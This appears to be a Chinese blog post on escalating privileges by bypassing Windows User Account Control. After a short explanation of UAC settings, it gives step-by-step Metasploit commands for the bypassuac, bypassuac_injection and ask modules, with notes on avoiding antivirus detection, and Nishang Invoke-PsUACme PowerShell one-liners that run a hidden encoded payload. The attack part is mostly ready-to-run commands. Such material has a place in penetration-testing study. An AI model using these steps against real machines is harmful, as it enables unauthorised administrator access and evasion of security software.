• 利用绕过UAC提权


    如果计算机的操作系统版本是vista或者更高,在权限不够的情况下,访问系统的磁盘的根目录,windows目录、programfiles目录,以及读写系统登录数据库的程序等操作,都需要经过user account control,用户账户控制的认证才可以进行
     
    需要UAC的授权才能进行的操作:
    配置Windows Update;增加、删除账户;更改账户类型;更改UAC的设置;安装ActiveX;安装、卸载程序;安装设备驱动程序;将文件移动/复制到ProgramFiles或Windows目录下;查看其它用户的文件夹
     
    UAC有如下四种设置要求:
    始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
    仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
    仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
    从不提示:当用户为系统管理员时,所有程序都会以最高权限运行
     
    MSF下获取system权限利用:
    use exploit/windows/local/bypassuac  #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
    use exploit/windows/local/bypassuac_injection  #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率
    利用成功前提条件:
    系统当前用户必须在管理员组中
    UAC设置为默认,即:仅在程序试图更改我的计算机时通知我
    use exploit/windows/local/bypassuac
    set session 1
    set lhost 0.0.0.0
    set lport 33330
    exploit
    用户不在管理员组出现如下情况:

    更换用户后如下成功:

    推断是msf本身问题
    use exploit/windows/local/bypassuac_injection
    set session 1
    set target 1
    set lhost 0.0.0.0
    set lport 33339

    runas模块
    模块会创建一个可执行文件,目标机器会运行一个发起提权的请求程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个高权限的shell,同样这里是需要用户在管理员组或者知道管理员的密码,对UAC的设置没有要求
    use exploit/windows/local/ask
    set session 1
    set lhost 0.0.0.0
    set lport 22222
    run

    Nishang中的Invoke-PsUACme模块

    Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -verbose  使用sysprep方法并执行默认的payload

    Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose   使用oobe方法并执行默认的payload

    Import-Module .Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YOURPAYLOAD"  可以指定要执行的payload

    补充:

  • 相关阅读:
    C#编程规范
    实用JavaScript代码库
    JSON入门
    asp.net基本事件
    iOS开发笔记 3、iOS基础
    iOS开发笔记 8、真机调试和发布软件
    数据同步框架MS Sync Framework不同场景使用例子和简要分析
    使用AppFabric 承载WCF和WF服务实例分析和说明
    .net程序员的iPhone开发MonoTouch
    iOS开发笔记 4、iOS中的Cocoa、设计模式等
  • 原文地址:https://www.cnblogs.com/Yang34/p/12632599.html
Copyright © 2020-2023  润新知